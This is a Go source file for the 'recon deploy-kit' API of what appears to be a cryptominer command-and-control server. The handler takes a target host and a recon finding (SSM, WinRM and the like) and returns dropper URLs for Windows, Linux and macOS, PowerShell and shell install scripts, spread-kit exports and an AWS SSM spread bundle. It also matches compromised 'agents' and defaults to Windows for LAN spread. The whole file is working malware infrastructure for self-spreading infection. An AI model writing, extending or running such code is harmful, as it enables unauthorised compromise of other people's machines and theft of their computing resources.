package api import ( "net/http" "strings" "crypto-miner-server/internal/models" ) // BindDeployPlan wires deploy-plan generation for recon deploy-kit responses. func (h *SpreadHandler) BindDeployPlan(plan *DeployPlanHandler, publicURL func() string, allowlist func() map[string]ServiceDeployLane) { if h == nil { return } h.deployPlan = plan h.publicURL = publicURL h.allowlistFn = allowlist } type deployKitDropperURLs struct { GetWindows string `json:"get_windows,omitempty"` GetLinux string `json:"get_linux,omitempty"` GetDarwin string `json:"get_darwin,omitempty"` Get string `json:"get,omitempty"` InstallPS1 string `json:"install_ps1,omitempty"` InstallSh string `json:"install_sh,omitempty"` InstallCmd string `json:"install_command,omitempty"` } type deployKitSpreadZIP struct { Method string `json:"method"` URL string `json:"url"` Note string `json:"note,omitempty"` } type deployKitSpreadTemplate struct { Template string `json:"template,omitempty"` Method string `json:"method"` URL string `json:"url"` } // GET /api/v1/recon/deploy-kit?host=&finding= func (h *SpreadHandler) GetDeployKit(w http.ResponseWriter, r *http.Request) { host := strings.TrimSpace(r.URL.Query().Get("host")) finding := strings.TrimSpace(r.URL.Query().Get("finding")) if host == "" { http.Error(w, "host query param required", http.StatusBadRequest) return } serverURL := strings.TrimRight(resolveSpreadServerURL(h), "/") if serverURL == "" { serverURL = "http://127.0.0.1:8989" } matched, lane, ok := resolveReconFinding(finding, h.serviceDeployAllowlist()) if !ok { writeJSON(w, map[string]interface{}{ "ok": false, "host": host, "finding": finding, "error": "no deploy lane matched finding", }) return } agentID, agentReachable, agentFound := h.matchAgentForHost(host) buildID, campaign := "", "" if h.db != nil { if b, err := h.db.GetLatestBuildForPlatform(platformForReconHost(host, lane.Lane)); err == nil && b != nil { buildID = b.ID } } querySuffix, getQuerySuffix := buildQuerySuffix(buildID, campaign) dropper := deployKitDropperURLs{ Get: serverURL + "/get" + querySuffix, GetWindows: serverURL + "/get?os=windows" + getQuerySuffix, GetLinux: serverURL + "/get?os=linux" + getQuerySuffix, GetDarwin: serverURL + "/get?os=darwin" + getQuerySuffix, InstallPS1: serverURL + "/install.ps1" + querySuffix, InstallSh: serverURL + "/install.sh" + querySuffix, InstallCmd: serverURL + "/install.command" + querySuffix, } resp := map[string]interface{}{ "ok": true, "host": host, "finding": finding, "join_lane": lane.Lane, "matched_service": matched, "agent_reachable": agentReachable, "agent_found": agentFound, "dropper_urls": dropper, "spread_kit_zip": deployKitSpreadZIP{ Method: "POST", URL: "/api/v1/builder/spread-kit-export", Note: "Body: { server_url, build_id?, campaign? }", }, "crucible_link": "/crucible?reconHost=" + urlQueryEscape(host) + "&tab=spread", } if agentID != "" { resp["agent_id"] = agentID } if tpl := strings.TrimSpace(lane.Template); tpl != "" { resp["spread_template"] = deployKitSpreadTemplate{ Template: tpl, Method: "POST", URL: "/api/v1/builder/spread-template-export", } } if h.deployPlan != nil { req := deployPlanRequest{ BuildID: buildID, Campaign: campaign, Platform: platformForReconHost(host, lane.Lane), Services: []DeployServiceFinding{{Name: matched, Status: "running"}}, } if plan, err := h.deployPlan.buildPlan(req, matched, lane); err == nil { resp["deploy_plan_template"] = plan } } if lane.Lane == "ssm_document" || strings.Contains(strings.ToLower(finding), "ssm") { if h.deployPlan != nil { if bundle, err := h.deployPlan.buildSSMSpreadBundle(deployPlanRequest{ BuildID: buildID, Campaign: campaign, Platform: "linux", }, serverURL); err == nil { resp["ssm_bundle"] = bundle } } } writeJSON(w, resp) } func (h *SpreadHandler) serviceDeployAllowlist() map[string]ServiceDeployLane { if h.allowlistFn != nil { return NormalizeServiceDeployAllowlist(h.allowlistFn()) } return NormalizeServiceDeployAllowlist(nil) } func resolveSpreadServerURL(h *SpreadHandler) string { if h.publicURL != nil { return h.publicURL() } return "" } func resolveReconFinding(finding string, allowlist map[string]ServiceDeployLane) (matched string, lane ServiceDeployLane, ok bool) { finding = strings.TrimSpace(finding) allowlist = NormalizeServiceDeployAllowlist(allowlist) if finding == "" { return "default", ServiceDeployLane{Lane: "bits_curl", Priority: 8}, true } lower := strings.ToLower(finding) if strings.Contains(lower, "ssm") { return "SSM", ServiceDeployLane{Lane: "ssm_document"}, true } normalized := normalizeJoinLane(finding) for _, entry := range allowlist { if entry.Lane == normalized { return finding, entry, true } } if normalized != "" && normalized != finding { return finding, ServiceDeployLane{Lane: normalized}, true } matched, lane, ok = PickDeployLane([]DeployServiceFinding{ {Name: finding, Status: "running"}, }, allowlist) if ok { return matched, lane, true } // Case-insensitive service alias (e.g. winrm → WinRM) for name, entry := range allowlist { if strings.EqualFold(name, finding) { return name, entry, true } } return "", ServiceDeployLane{}, false } func (h *SpreadHandler) matchAgentForHost(host string) (agentID string, reachable bool, found bool) { host = strings.TrimSpace(strings.ToLower(host)) if host == "" || h.db == nil { return "", false, false } agents, err := h.db.ListAgents() if err != nil { return "", false, false } var match *models.Agent for _, ag := range agents { if ag == nil { continue } ip := strings.TrimSpace(strings.ToLower(ag.IP)) name := strings.TrimSpace(strings.ToLower(ag.Name)) hostname := strings.TrimSpace(strings.ToLower(ag.Hostname)) if ip == host || name == host || hostname == host { if match == nil || ag.Status == "online" { match = ag } } } if match == nil { return "", false, false } reachable = match.Status == "online" if h.wsHub != nil { reachable = h.wsHub.isAgentConnected(match.ID) } return match.ID, reachable, true } func platformForReconHost(host, lane string) string { if strings.Contains(lane, "linux") { return "linux" } // Heuristic: RFC1918 host with no agent — default windows for LAN spread. _ = host return "windows" } func urlQueryEscape(s string) string { return strings.ReplaceAll(strings.ReplaceAll(s, " ", "%20"), "#", "%23") }